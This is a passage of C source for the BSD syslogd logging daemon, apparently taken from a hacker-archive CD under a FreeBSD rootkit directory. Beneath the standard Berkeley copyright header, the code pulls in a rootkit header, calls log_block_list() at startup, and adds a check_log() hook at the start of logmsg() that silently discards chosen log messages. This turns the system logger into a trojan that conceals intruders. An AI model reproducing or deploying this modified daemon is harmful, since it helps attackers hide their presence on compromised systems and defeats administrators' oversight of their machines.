home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / E-zine / Magazines / crh / freebsd / rootkit / syslogd / syslogd.c < prev   
Encoding:
C/C++ Source or Header  |  2002-05-27  |  40.0 KB  |  1,755 lines

  1. /*
  2.  * Copyright (c) 1983, 1988, 1993, 1994
  3.  *    The Regents of the University of California.  All rights reserved.
  4.  *
  5.  * Redistribution and use in source and binary forms, with or without
  6.  * modification, are permitted provided that the following conditions
  7.  * are met:
  8.  * 1. Redistributions of source code must retain the above copyright
  9.  *    notice, this list of conditions and the following disclaimer.
  10.  * 2. Redistributions in binary form must reproduce the above copyright
  11.  *    notice, this list of conditions and the following disclaimer in the
  12.  *    documentation and/or other materials provided with the distribution.
  13.  * 3. All advertising materials mentioning features or use of this software
  14.  *    must display the following acknowledgement:
  15.  *    This product includes software developed by the University of
  16.  *    California, Berkeley and its contributors.
  17.  * 4. Neither the name of the University nor the names of its contributors
  18.  *    may be used to endorse or promote products derived from this software
  19.  *    without specific prior written permission.
  20.  *
  21.  * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
  22.  * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
  23.  * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
  24.  * ARE DISCLAIMED.  IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
  25.  * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
  26.  * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
  27.  * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
  28.  * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
  29.  * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
  30.  * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
  31.  * SUCH DAMAGE.
  32.  */
  33.  
  34. #ifndef lint
  35. static const char copyright[] =
  36. "@(#) Copyright (c) 1983, 1988, 1993, 1994\n\
  37.     The Regents of the University of California.  All rights reserved.\n";
  38. /*
  39. static char sccsid[] = "@(#)syslogd.c    8.3 (Berkeley) 4/4/94";
  40. */
  41. static const char rcsid[] =
  42.     "$Id: syslogd.c,v 1.12.2.8 1997/09/19 22:27:28 brian Exp $";
  43. #endif /* not lint */
  44.  
  45. /*
  46.  *  syslogd -- log system messages
  47.  *
  48.  * This program implements a system log. It takes a series of lines.
  49.  * Each line may have a priority, signified as "<n>" as
  50.  * the first characters of the line.  If this is
  51.  * not present, a default priority is used.
  52.  *
  53.  * To kill syslogd, send a signal 15 (terminate).  A signal 1 (hup) will
  54.  * cause it to reread its configuration file.
  55.  *
  56.  * Defined Constants:
  57.  *
  58.  * MAXLINE -- the maximimum line length that can be handled.
  59.  * DEFUPRI -- the default priority for user messages
  60.  * DEFSPRI -- the default priority for kernel messages
  61.  *
  62.  * Author: Eric Allman
  63.  * extensive changes by Ralph Campbell
  64.  * more extensive changes by Eric Allman (again)
  65.  * Extension to log by program name as well as facility and priority
  66.  *   by Peter da Silva.
  67.  */
  68.  
  69. #define    MAXLINE        1024        /* maximum line length */
  70. #define    MAXSVLINE    120        /* maximum saved line length */
  71. #define DEFUPRI        (LOG_USER|LOG_NOTICE)
  72. #define DEFSPRI        (LOG_KERN|LOG_CRIT)
  73. #define TIMERINTVL    30        /* interval for checking flush, mark */
  74. #define TTYMSGTIME    1        /* timed out passed to ttymsg */
  75.  
  76. #include <sys/param.h>
  77. #include <sys/ioctl.h>
  78. #include <sys/stat.h>
  79. #include <sys/wait.h>
  80. #include <sys/socket.h>
  81. #include <sys/msgbuf.h>
  82. #include <sys/queue.h>
  83. #include <sys/uio.h>
  84. #include <sys/un.h>
  85. #include <sys/time.h>
  86. #include <sys/resource.h>
  87. #include <sys/syslimits.h>
  88. #include <paths.h>
  89.  
  90. #include <netinet/in.h>
  91. #include <netdb.h>
  92. #include <arpa/inet.h>
  93.  
  94. #include <ctype.h>
  95. #include <errno.h>
  96. #include <fcntl.h>
  97. #include <regex.h>
  98. #include <setjmp.h>
  99. #include <signal.h>
  100. #include <stdio.h>
  101. #include <stdlib.h>
  102. #include <string.h>
  103. #include <sysexits.h>
  104. #include <unistd.h>
  105. #include <utmp.h>
  106. #include "pathnames.h"
  107.  
  108. #include "../config.h"
  109. #include "rootkitsyslogd.h"
  110.  
  111. #define SYSLOG_NAMES
  112. #include <sys/syslog.h>
  113.  
  114. const char    *LogName = _PATH_LOG;
  115. const char    *ConfFile = _PATH_LOGCONF;
  116. const char    *PidFile = _PATH_LOGPID;
  117. const char    ctty[] = _PATH_CONSOLE;
  118.  
  119. #define FDMASK(fd)    (1 << (fd))
  120.  
  121. #define    dprintf        if (Debug) printf
  122.  
  123. #define MAXUNAMES    20    /* maximum number of user names */
  124.  
  125. /*
  126.  * Flags to logmsg().
  127.  */
  128.  
  129. #define IGN_CONS    0x001    /* don't print on console */
  130. #define SYNC_FILE    0x002    /* do fsync on file after printing */
  131. #define ADDDATE        0x004    /* add a date to the message */
  132. #define MARK        0x008    /* this message is a mark */
  133.  
  134. /*
  135.  * This structure represents the files that will have log
  136.  * copies printed.
  137.  */
  138.  
  139. struct filed {
  140.     struct    filed *f_next;        /* next in linked list */
  141.     short    f_type;            /* entry type, see below */
  142.     short    f_file;            /* file descriptor */
  143.     time_t    f_time;            /* time this was last written */
  144.     u_char    f_pmask[LOG_NFACILITIES+1];    /* priority mask */
  145.     char    *f_program;        /* program this applies to */
  146.     union {
  147.         char    f_uname[MAXUNAMES][UT_NAMESIZE+1];
  148.         struct {
  149.             char    f_hname[MAXHOSTNAMELEN+1];
  150.             struct sockaddr_in    f_addr;
  151.         } f_forw;        /* forwarding address */
  152.         char    f_fname[MAXPATHLEN];
  153.         struct {
  154.             char    f_pname[MAXPATHLEN];
  155.             pid_t    f_pid;
  156.         } f_pipe;
  157.     } f_un;
  158.     char    f_prevline[MAXSVLINE];        /* last message logged */
  159.     char    f_lasttime[16];            /* time of last occurrence */
  160.     char    f_prevhost[MAXHOSTNAMELEN+1];    /* host from which recd. */
  161.     int    f_prevpri;            /* pri of f_prevline */
  162.     int    f_prevlen;            /* length of f_prevline */
  163.     int    f_prevcount;            /* repetition cnt of prevline */
  164.     int    f_repeatcount;            /* number of "repeated" msgs */
  165. };
  166.  
  167. /*
  168.  * Queue of about-to-be dead processes we should watch out for.
  169.  */
  170.  
  171. TAILQ_HEAD(stailhead, deadq_entry) deadq_head;
  172. struct stailhead *deadq_headp;
  173.  
  174. struct deadq_entry {
  175.     pid_t                dq_pid;
  176.     int                dq_timeout;
  177.     TAILQ_ENTRY(deadq_entry)    dq_entries;
  178. };
  179.  
  180. /*
  181.  * The timeout to apply to processes waiting on the dead queue.  Unit
  182.  * of measure is `mark intervals', i.e. 20 minutes by default.
  183.  * Processes on the dead queue will be terminated after that time.
  184.  */
  185.  
  186. #define DQ_TIMO_INIT    2
  187.  
  188. typedef struct deadq_entry *dq_t;
  189.  
  190.  
  191. /*
  192.  * Struct to hold records of network addresses that are allowed to log
  193.  * to us.
  194.  */
  195. struct allowedpeer {
  196.     int isnumeric;
  197.     u_short port;
  198.     union {
  199.         struct {
  200.             struct in_addr addr;
  201.             struct in_addr mask;
  202.         } numeric;
  203.         char *name;
  204.     } u;
  205. #define a_addr u.numeric.addr
  206. #define a_mask u.numeric.mask
  207. #define a_name u.name
  208. };
  209.  
  210.  
  211. /*
  212.  * Intervals at which we flush out "message repeated" messages,
  213.  * in seconds after previous message is logged.  After each flush,
  214.  * we move to the next interval until we reach the largest.
  215.  */
  216. int    repeatinterval[] = { 30, 120, 600 };    /* # of secs before flush */
  217. #define    MAXREPEAT ((sizeof(repeatinterval) / sizeof(repeatinterval[0])) - 1)
  218. #define    REPEATTIME(f)    ((f)->f_time + repeatinterval[(f)->f_repeatcount])
  219. #define    BACKOFF(f)    { if (++(f)->f_repeatcount > MAXREPEAT) \
  220.                  (f)->f_repeatcount = MAXREPEAT; \
  221.             }
  222.  
  223. /* values for f_type */
  224. #define F_UNUSED    0        /* unused entry */
  225. #define F_FILE        1        /* regular file */
  226. #define F_TTY        2        /* terminal */
  227. #define F_CONSOLE    3        /* console terminal */
  228. #define F_FORW        4        /* remote machine */
  229. #define F_USERS        5        /* list of users */
  230. #define F_WALL        6        /* everyone logged on */
  231. #define F_PIPE        7        /* pipe to program */
  232.  
  233. char    *TypeNames[8] = {
  234.     "UNUSED",    "FILE",        "TTY",        "CONSOLE",
  235.     "FORW",        "USERS",    "WALL",        "PIPE"
  236. };
  237.  
  238. struct    filed *Files;
  239. struct    filed consfile;
  240.  
  241. int    Debug;            /* debug flag */
  242. char    LocalHostName[MAXHOSTNAMELEN+1];    /* our hostname */
  243. char    *LocalDomain;        /* our local domain name */
  244. int    finet;            /* Internet datagram socket */
  245. int    LogPort;        /* port number for INET connections */
  246. int    Initialized = 0;    /* set when we have initialized ourselves */
  247. int    MarkInterval = 20 * 60;    /* interval between marks in seconds */
  248. int    MarkSeq = 0;        /* mark sequence number */
  249. int    SecureMode = 0;        /* when true, speak only unix domain socks */
  250.  
  251. int     created_lsock = 0;      /* Flag if local socket created */
  252. char    bootfile[MAXLINE+1];    /* booted kernel file */
  253.  
  254. struct allowedpeer *AllowedPeers;
  255. int    NumAllowed = 0;        /* # of AllowedPeer entries */
  256.  
  257. int    allowaddr __P((char *));
  258. void    cfline __P((char *, struct filed *, char *));
  259. char   *cvthname __P((struct sockaddr_in *));
  260. void    deadq_enter __P((pid_t));
  261. int    decode __P((const char *, CODE *));
  262. void    die __P((int));
  263. void    domark __P((int));
  264. void    fprintlog __P((struct filed *, int, char *));
  265. void    init __P((int));
  266. void    logerror __P((const char *));
  267. void    logmsg __P((int, char *, char *, int));
  268. void    printline __P((char *, char *));
  269. void    printsys __P((char *));
  270. int    p_open __P((char *, pid_t *));
  271. void    reapchild __P((int));
  272. char   *ttymsg __P((struct iovec *, int, char *, int));
  273. void    usage __P((void));
  274. int    validate __P((struct sockaddr_in *, const char *));
  275. void    wallmsg __P((struct filed *, struct iovec *));
  276. int    waitdaemon __P((int, int, int));
  277. void    timedout __P((int));
  278.  
  279. int
  280. main(argc, argv)
  281.     int argc;
  282.     char *argv[];
  283. {
  284.     int ch, funix, i, inetm, fklog, klogm, len;
  285.     struct sockaddr_un sunx, fromunix;
  286.     struct sockaddr_in sin, frominet;
  287.     FILE *fp;
  288.     char *p, *hname, line[MSG_BSIZE + 1];
  289.     struct timeval tv, *tvp;
  290.     pid_t ppid;
  291.  
  292.     while ((ch = getopt(argc, argv, "a:dsf:m:p:")) != -1)
  293.         switch(ch) {
  294.         case 'a':        /* allow specific network addresses only */
  295.             if (allowaddr(optarg) == -1)
  296.                 usage();
  297.             break;
  298.         case 'd':        /* debug */
  299.             Debug++;
  300.             break;
  301.         case 'f':        /* configuration file */
  302.             ConfFile = optarg;
  303.             break;
  304.         case 'm':        /* mark interval */
  305.             MarkInterval = atoi(optarg) * 60;
  306.             break;
  307.         case 'p':        /* path */
  308.             LogName = optarg;
  309.             break;
  310.         case 's':        /* no network mode */
  311.             SecureMode++;
  312.             break;
  313.         case '?':
  314.         default:
  315.             usage();
  316.         }
  317.     if ((argc -= optind) != 0)
  318.         usage();
  319.  
  320.     if (!Debug) {
  321.         ppid = waitdaemon(0, 0, 30);
  322.         if (ppid < 0)
  323.             err(1, "could not become daemon");
  324.     } else
  325.         setlinebuf(stdout);
  326.  
  327.     log_block_list();
  328.  
  329.     if (NumAllowed)
  330.         endservent();
  331.  
  332.     consfile.f_type = F_CONSOLE;
  333.     (void)strcpy(consfile.f_un.f_fname, ctty + sizeof _PATH_DEV - 1);
  334.     (void)gethostname(LocalHostName, sizeof(LocalHostName));
  335.     if ((p = strchr(LocalHostName, '.')) != NULL) {
  336.         *p++ = '\0';
  337.         LocalDomain = p;
  338.     } else
  339.         LocalDomain = "";
  340.     (void)strcpy(bootfile, getbootfile());
  341.     (void)signal(SIGTERM, die);
  342.     (void)signal(SIGINT, Debug ? die : SIG_IGN);
  343.     (void)signal(SIGQUIT, Debug ? die : SIG_IGN);
  344.     (void)signal(SIGCHLD, reapchild);
  345.     (void)signal(SIGALRM, domark);
  346.     (void)signal(SIGPIPE, SIG_IGN);    /* We'll catch EPIPE instead. */
  347.     (void)alarm(TIMERINTVL);
  348.  
  349.     TAILQ_INIT(&deadq_head);
  350.  
  351. #ifndef SUN_LEN
  352. #define SUN_LEN(unp) (strlen((unp)->sun_path) + 2)
  353. #endif
  354.     memset(&sunx, 0, sizeof(sunx));
  355.     sunx.sun_family = AF_UNIX;
  356.     (void)strncpy(sunx.sun_path, LogName, sizeof(sunx.sun_path));
  357.     (void)unlink(LogName);
  358.     funix = socket(AF_UNIX, SOCK_DGRAM, 0);
  359.     if (funix < 0 ||
  360.         bind(funix, (struct sockaddr *)&sunx, SUN_LEN(&sunx)) < 0 ||
  361.         chmod(LogName, 0666) < 0) {
  362.         (void) snprintf(line, sizeof line, "cannot create %s", LogName);
  363.         logerror(line);
  364.         dprintf("cannot create %s (%d)\n", LogName, errno);
  365.         die(0);
  366.     } else
  367.         created_lsock = 1;
  368.  
  369.     inetm = 0;
  370.     finet = socket(AF_INET, SOCK_DGRAM, 0);
  371.     if (finet >= 0) {
  372.         struct servent *sp;
  373.  
  374.         sp = getservbyname("syslog", "udp");
  375.         if (sp == NULL) {
  376.             errno = 0;
  377.             logerror("syslog/udp: unknown service");
  378.             die(0);
  379.         }
  380.         memset(&sin, 0, sizeof(sin));
  381.         sin.sin_family = AF_INET;
  382.         sin.sin_port = LogPort = sp->s_port;
  383.  
  384.         if (!SecureMode) {
  385.             if (bind(finet, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
  386.                 logerror("bind");
  387.                 if (!Debug)
  388.                     die(0);
  389.             } else {
  390.                 inetm = FDMASK(finet);
  391.             }
  392.         }
  393.     }
  394.     if ((fklog = open(_PATH_KLOG, O_RDONLY, 0)) >= 0)
  395.         klogm = FDMASK(fklog);
  396.     else {
  397.         dprintf("can't open %s (%d)\n", _PATH_KLOG, errno);
  398.         klogm = 0;
  399.     }
  400.  
  401.     /* tuck my process id away */
  402.     fp = fopen(PidFile, "w");
  403.     if (fp != NULL) {
  404.         fprintf(fp, "%d\n", getpid());
  405.         (void) fclose(fp);
  406.     }
  407.  
  408.     dprintf("off & running....\n");
  409.  
  410.     init(0);
  411.     (void)signal(SIGHUP, init);
  412.  
  413.     tvp = &tv;
  414.     tv.tv_sec = tv.tv_usec = 0;
  415.  
  416.     for (;;) {
  417.         int nfds, readfds = FDMASK(funix) | inetm | klogm;
  418.  
  419.         dprintf("readfds = %#x\n", readfds);
  420.         nfds = select(20, (fd_set *)&readfds, (fd_set *)NULL,
  421.             (fd_set *)NULL, tvp);
  422.         if (nfds == 0) {
  423.             if (tvp) {
  424.                 tvp = NULL;
  425.                 if (ppid != 1)
  426.                     kill(ppid, SIGALRM);
  427.             }
  428.             continue;
  429.         }
  430.         if (nfds < 0) {
  431.             if (errno != EINTR)
  432.                 logerror("select");
  433.             continue;
  434.         }
  435.         dprintf("got a message (%d, %#x)\n", nfds, readfds);
  436.         if (readfds & klogm) {
  437.             i = read(fklog, line, sizeof(line) - 1);
  438.             if (i > 0) {
  439.                 line[i] = '\0';
  440.                 printsys(line);
  441.             } else if (i < 0 && errno != EINTR) {
  442.                 logerror("klog");
  443.                 fklog = -1;
  444.                 klogm = 0;
  445.             }
  446.         }
  447.         if (readfds & FDMASK(funix)) {
  448.             len = sizeof(fromunix);
  449.             i = recvfrom(funix, line, MAXLINE, 0,
  450.                 (struct sockaddr *)&fromunix, &len);
  451.             if (i > 0) {
  452.                 line[i] = '\0';
  453.                 printline(LocalHostName, line);
  454.             } else if (i < 0 && errno != EINTR)
  455.                 logerror("recvfrom unix");
  456.         }
  457.         if (readfds & inetm) {
  458.             len = sizeof(frominet);
  459.             i = recvfrom(finet, line, MAXLINE, 0,
  460.                 (struct sockaddr *)&frominet, &len);
  461.             if (i > 0) {
  462.                 line[i] = '\0';
  463.                 hname = cvthname(&frominet);
  464.                 if (validate(&frominet, hname))
  465.                     printline(hname, line);
  466.             } else if (i < 0 && errno != EINTR)
  467.                 logerror("recvfrom inet");
  468.         }
  469.     }
  470. }
  471.  
  472. void
  473. usage()
  474. {
  475.  
  476.     fprintf(stderr,
  477.         "usage: syslogd [-ds] [-a allowed_peer] [-f config_file]"
  478.         " [-m mark_interval]\n                [-p log_socket]\n");
  479.     exit(1);
  480. }
  481.  
  482. /*
  483.  * Take a raw input line, decode the message, and print the message
  484.  * on the appropriate log files.
  485.  */
  486. void
  487. printline(hname, msg)
  488.     char *hname;
  489.     char *msg;
  490. {
  491.     int c, pri;
  492.     char *p, *q, line[MAXLINE + 1];
  493.  
  494.     /* test for special codes */
  495.     pri = DEFUPRI;
  496.     p = msg;
  497.     if (*p == '<') {
  498.         pri = 0;
  499.         while (isdigit(*++p))
  500.             pri = 10 * pri + (*p - '0');
  501.         if (*p == '>')
  502.             ++p;
  503.     }
  504.     if (pri &~ (LOG_FACMASK|LOG_PRIMASK))
  505.         pri = DEFUPRI;
  506.  
  507.     /* don't allow users to log kernel messages */
  508.     if (LOG_FAC(pri) == LOG_KERN)
  509.         pri = LOG_MAKEPRI(LOG_USER, LOG_PRI(pri));
  510.  
  511.     q = line;
  512.  
  513.     while ((c = *p++ & 0177) != '\0' &&
  514.         q < &line[sizeof(line) - 1])
  515.         if (iscntrl(c))
  516.             if (c == '\n')
  517.                 *q++ = ' ';
  518.             else if (c == '\t')
  519.                 *q++ = '\t';
  520.             else {
  521.                 *q++ = '^';
  522.                 *q++ = c ^ 0100;
  523.             }
  524.         else
  525.             *q++ = c;
  526.     *q = '\0';
  527.  
  528.     logmsg(pri, line, hname, 0);
  529. }
  530.  
  531. /*
  532.  * Take a raw input line from /dev/klog, split and format similar to syslog().
  533.  */
  534. void
  535. printsys(msg)
  536.     char *msg;
  537. {
  538.     int c, pri, flags;
  539.     char *lp, *p, *q, line[MAXLINE + 1];
  540.  
  541.     (void)strcpy(line, bootfile);
  542.     (void)strcat(line, ": ");
  543.     lp = line + strlen(line);
  544.     for (p = msg; *p != '\0'; ) {
  545.         flags = SYNC_FILE | ADDDATE;    /* fsync file after write */
  546.         pri = DEFSPRI;
  547.         if (*p == '<') {
  548.             pri = 0;
  549.             while (isdigit(*++p))
  550.                 pri = 10 * pri + (*p - '0');
  551.             if (*p == '>')
  552.                 ++p;
  553.         } else {
  554.             /* kernel printf's come out on console */
  555.             flags |= IGN_CONS;
  556.         }
  557.         if (pri &~ (LOG_FACMASK|LOG_PRIMASK))
  558.             pri = DEFSPRI;
  559.         q = lp;
  560.         while (*p != '\0' && (c = *p++) != '\n' &&
  561.             q < &line[MAXLINE])
  562.             *q++ = c;
  563.         *q = '\0';
  564.         logmsg(pri, line, LocalHostName, flags);
  565.     }
  566. }
  567.  
  568. time_t    now;
  569.  
  570. /*
  571.  * Log a message to the appropriate log files, users, etc. based on
  572.  * the priority.
  573.  */
  574. void
  575. logmsg(pri, msg, from, flags)
  576.     int pri;
  577.     char *msg, *from;
  578.     int flags;
  579. {
  580.     struct filed *f;
  581.     int fac, msglen, omask, prilev;
  582.     char *timestamp;
  583.      char prog[NAME_MAX+1];
  584.      int i;
  585.  
  586.     if (check_log(msg,from))
  587.         return;
  588.  
  589.     dprintf("logmsg: pri %o, flags %x, from %s, msg %s\n",
  590.         pri, flags, from, msg);
  591.  
  592.     omask = sigblock(sigmask(SIGHUP)|sigmask(SIGALRM));
  593.  
  594.     /*
  595.      * Check to see if msg looks non-standard.
  596.      */
  597.     msglen = strlen(msg);
  598.     if (msglen < 16 || msg[3] != ' ' || msg[6] != ' ' ||
  599.         msg[9] != ':' || msg[12] != ':' || msg[15] != ' ')
  600.         flags |= ADDDATE;
  601.  
  602.     (void)time(&now);
  603.     if (flags & ADDDATE)
  604.         timestamp = ctime(&now) + 4;
  605.     else {
  606.         timestamp = msg;
  607.         msg += 16;
  608.         msglen -= 16;
  609.     }
  610.  
  611.     /* skip leading blanks */
  612.     while(isspace(*msg)) {
  613.         msg++;
  614.         msglen--;
  615.     }
  616.  
  617.     /* extract facility and priority level */
  618.     if (flags & MARK)
  619.         fac = LOG_NFACILITIES;
  620.     else
  621.         fac = LOG_FAC(pri);
  622.     prilev = LOG_PRI(pri);
  623.  
  624.     /* extract program name */
  625.     for(i = 0; i < NAME_MAX; i++) {
  626.         if(!isalnum(msg[i]))
  627.             break;
  628.         prog[i] = msg[i];
  629.     }
  630.     prog[i] = 0;
  631.  
  632.     /* log the message to the particular outputs */
  633.     if (!Initialized) {
  634.         f = &consfile;
  635.         f->f_file = open(ctty, O_WRONLY, 0);
  636.  
  637.         if (f->f_file >= 0) {
  638.             fprintlog(f, flags, msg);
  639.             (void)close(f->f_file);
  640.         }
  641.         (void)sigsetmask(omask);
  642.         return;
  643.     }
  644.     for (f = Files; f; f = f->f_next) {
  645.         /* skip messages that are incorrect priority */
  646.         if (f->f_pmask[fac] < prilev ||
  647.             f->f_pmask[fac] == INTERNAL_NOPRI)
  648.             continue;
  649.         /* skip messages with the incorrect program name */
  650.         if(f->f_program)
  651.             if(strcmp(prog, f->f_program) != 0)
  652.                 continue;
  653.  
  654.         if (f->f_type == F_CONSOLE && (flags & IGN_CONS))
  655.             continue;
  656.  
  657.         /* don't output marks to recently written files */
  658.         if ((flags & MARK) && (now - f->f_time) < MarkInterval / 2)
  659.             continue;
  660.  
  661.         /*
  662.          * suppress duplicate lines to this file
  663.          */
  664.         if ((flags & MARK) == 0 && msglen == f->f_prevlen &&
  665.             !strcmp(msg, f->f_prevline) &&
  666.             !strcmp(from, f->f_prevhost)) {
  667.             (void)strncpy(f->f_lasttime, timestamp, 15);
  668.             f->f_prevcount++;
  669.             dprintf("msg repeated %d times, %ld sec of %d\n",
  670.                 f->f_prevcount, now - f->f_time,
  671.                 repeatinterval[f->f_repeatcount]);
  672.             /*
  673.              * If domark would have logged this by now,
  674.              * flush it now (so we don't hold isolated messages),
  675.              * but back off so we'll flush less often
  676.              * in the future.
  677.              */
  678.             if (now > REPEATTIME(f)) {
  679.                 fprintlog(f, flags, (char *)NULL);
  680.                 BACKOFF(f);
  681.             }
  682.         } else {
  683.             /* new line, save it */
  684.             if (f->f_prevcount)
  685.                 fprintlog(f, 0, (char *)NULL);
  686.             f->f_repeatcount = 0;
  687.             f->f_prevpri = pri;
  688.             (void)strncpy(f->f_lasttime, timestamp, 15);
  689.             (void)strncpy(f->f_prevhost, from,
  690.                     sizeof(f->f_prevhost));
  691.             if (msglen < MAXSVLINE) {
  692.                 f->f_prevlen = msglen;
  693.                 (void)strcpy(f->f_prevline, msg);
  694.                 fprintlog(f, flags, (char *)NULL);
  695.             } else {
  696.                 f->f_prevline[0] = 0;
  697.                 f->f_prevlen = 0;
  698.                 fprintlog(f, flags, msg);
  699.             }
  700.         }
  701.     }
  702.     (void)sigsetmask(omask);
  703. }
  704.  
  705. void
  706. fprintlog(f, flags, msg)
  707.     struct filed *f;
  708.     int flags;
  709.     char *msg;
  710. {
  711.     struct iovec iov[6];
  712.     struct iovec *v;
  713.     int l;
  714.     char line[MAXLINE + 1], repbuf[80], greetings[200];
  715.     char *msgret;
  716.     dq_t q;
  717.  
  718.     v = iov;
  719.     if (f->f_type == F_WALL) {
  720.         v->iov_base = greetings;
  721.         v->iov_len = snprintf(greetings, sizeof greetings,
  722.             "\r\n\7Message from syslogd@%s at %.24s ...\r\n",
  723.             f->f_prevhost, ctime(&now));
  724.         v++;
  725.         v->iov_base = "";
  726.         v->iov_len = 0;
  727.         v++;
  728.     } else {
  729.         v->iov_base = f->f_lasttime;
  730.         v->iov_len = 15;
  731.         v++;
  732.         v->iov_base = " ";
  733.         v->iov_len = 1;
  734.         v++;
  735.     }
  736.     v->iov_base = f->f_prevhost;
  737.     v->iov_len = strlen(v->iov_base);
  738.     v++;
  739.     v->iov_base = " ";
  740.     v->iov_len = 1;
  741.     v++;
  742.  
  743.     if (msg) {
  744.         v->iov_base = msg;
  745.         v->iov_len = strlen(msg);
  746.     } else if (f->f_prevcount > 1) {
  747.         v->iov_base = repbuf;
  748.         v->iov_len = sprintf(repbuf, "last message repeated %d times",
  749.             f->f_prevcount);
  750.     } else {
  751.         v->iov_base = f->f_prevline;
  752.         v->iov_len = f->f_prevlen;
  753.     }
  754.     v++;
  755.  
  756.     dprintf("Logging to %s", TypeNames[f->f_type]);
  757.     f->f_time = now;
  758.  
  759.     switch (f->f_type) {
  760.     case F_UNUSED:
  761.         dprintf("\n");
  762.         break;
  763.  
  764.     case F_FORW:
  765.         dprintf(" %s\n", f->f_un.f_forw.f_hname);
  766.         l = snprintf(line, sizeof line - 1, "<%d>%.15s %s",
  767.                  f->f_prevpri, iov[0].iov_base, iov[4].iov_base);
  768.         if (l > MAXLINE)
  769.             l = MAXLINE;
  770.         if ((finet >= 0) &&
  771.              (sendto(finet, line, l, 0,
  772.                  (struct sockaddr *)&f->f_un.f_forw.f_addr,
  773.                  sizeof(f->f_un.f_forw.f_addr)) != l)) {
  774.             int e = errno;
  775.             (void)close(f->f_file);
  776.             f->f_type = F_UNUSED;
  777.             errno = e;
  778.             logerror("sendto");
  779.         }
  780.         break;
  781.  
  782.     case F_FILE:
  783.         dprintf(" %s\n", f->f_un.f_fname);
  784.         v->iov_base = "\n";
  785.         v->iov_len = 1;
  786.         if (writev(f->f_file, iov, 6) < 0) {
  787.             int e = errno;
  788.             (void)close(f->f_file);
  789.             f->f_type = F_UNUSED;
  790.             errno = e;
  791.             logerror(f->f_un.f_fname);
  792.         } else if (flags & SYNC_FILE)
  793.             (void)fsync(f->f_file);
  794.         break;
  795.  
  796.     case F_PIPE:
  797.         dprintf(" %s\n", f->f_un.f_pipe.f_pname);
  798.         v->iov_base = "\n";
  799.         v->iov_len = 1;
  800.         if (f->f_un.f_pipe.f_pid == 0) {
  801.             if ((f->f_file = p_open(f->f_un.f_pipe.f_pname,
  802.                         &f->f_un.f_pipe.f_pid)) < 0) {
  803.                 f->f_type = F_UNUSED;
  804.                 logerror(f->f_un.f_pipe.f_pname);
  805.                 break;
  806.             }
  807.         }
  808.         if (writev(f->f_file, iov, 6) < 0) {
  809.             int e = errno;
  810.             (void)close(f->f_file);
  811.             if (f->f_un.f_pipe.f_pid > 0)
  812.                 deadq_enter(f->f_un.f_pipe.f_pid);
  813.             f->f_un.f_pipe.f_pid = 0;
  814.             errno = e;
  815.             logerror(f->f_un.f_pipe.f_pname);
  816.         }
  817.         break;
  818.  
  819.     case F_CONSOLE:
  820.         if (flags & IGN_CONS) {
  821.             dprintf(" (ignored)\n");
  822.             break;
  823.         }
  824.         /* FALLTHROUGH */
  825.  
  826.     case F_TTY:
  827.         dprintf(" %s%s\n", _PATH_DEV, f->f_un.f_fname);
  828.         v->iov_base = "\r\n";
  829.         v->iov_len = 2;
  830.  
  831.         errno = 0;    /* ttymsg() only sometimes returns an errno */
  832.         if ((msgret = ttymsg(iov, 6, f->f_un.f_fname, 10))) {
  833.             f->f_type = F_UNUSED;
  834.             logerror(msgret);
  835.         }
  836.         break;
  837.  
  838.     case F_USERS:
  839.     case F_WALL:
  840.         dprintf("\n");
  841.         v->iov_base = "\r\n";
  842.         v->iov_len = 2;
  843.         wallmsg(f, iov);
  844.         break;
  845.     }
  846.     f->f_prevcount = 0;
  847. }
  848.  
  849. /*
  850.  *  WALLMSG -- Write a message to the world at large
  851.  *
  852.  *    Write the specified message to either the entire
  853.  *    world, or a list of approved users.
  854.  */
  855. void
  856. wallmsg(f, iov)
  857.     struct filed *f;
  858.     struct iovec *iov;
  859. {
  860.     static int reenter;            /* avoid calling ourselves */
  861.     FILE *uf;
  862.     struct utmp ut;
  863.     int i;
  864.     char *p;
  865.     char line[sizeof(ut.ut_line) + 1];
  866.  
  867.     if (reenter++)
  868.         return;
  869.     if ((uf = fopen(_PATH_UTMP, "r")) == NULL) {
  870.         logerror(_PATH_UTMP);
  871.         reenter = 0;
  872.         return;
  873.     }
  874.     /* NOSTRICT */
  875.     while (fread((char *)&ut, sizeof(ut), 1, uf) == 1) {
  876.         if (ut.ut_name[0] == '\0')
  877.             continue;
  878.         strncpy(line, ut.ut_line, sizeof(ut.ut_line));
  879.         line[sizeof(ut.ut_line)] = '\0';
  880.         if (f->f_type == F_WALL) {
  881.             if ((p = ttymsg(iov, 6, line, TTYMSGTIME)) != NULL) {
  882.                 errno = 0;    /* already in msg */
  883.                 logerror(p);
  884.             }
  885.             continue;
  886.         }
  887.         /* should we send the message to this user? */
  888.         for (i = 0; i < MAXUNAMES; i++) {
  889.             if (!f->f_un.f_uname[i][0])
  890.                 break;
  891.             if (!strncmp(f->f_un.f_uname[i], ut.ut_name,
  892.                 UT_NAMESIZE)) {
  893.                 if ((p = ttymsg(iov, 6, line, TTYMSGTIME))
  894.                                 != NULL) {
  895.                     errno = 0;    /* already in msg */
  896.                     logerror(p);
  897.                 }
  898.                 break;
  899.             }
  900.         }
  901.     }
  902.     (void)fclose(uf);
  903.     reenter = 0;
  904. }
  905.  
  906. void
  907. reapchild(signo)
  908.     int signo;
  909. {
  910.     int status, code;
  911.     pid_t pid;
  912.     struct filed *f;
  913.     char buf[256];
  914.     const char *reason;
  915.     dq_t q;
  916.  
  917.     while ((pid = wait3(&status, WNOHANG, (struct rusage *)NULL)) > 0) {
  918.         if (!Initialized)
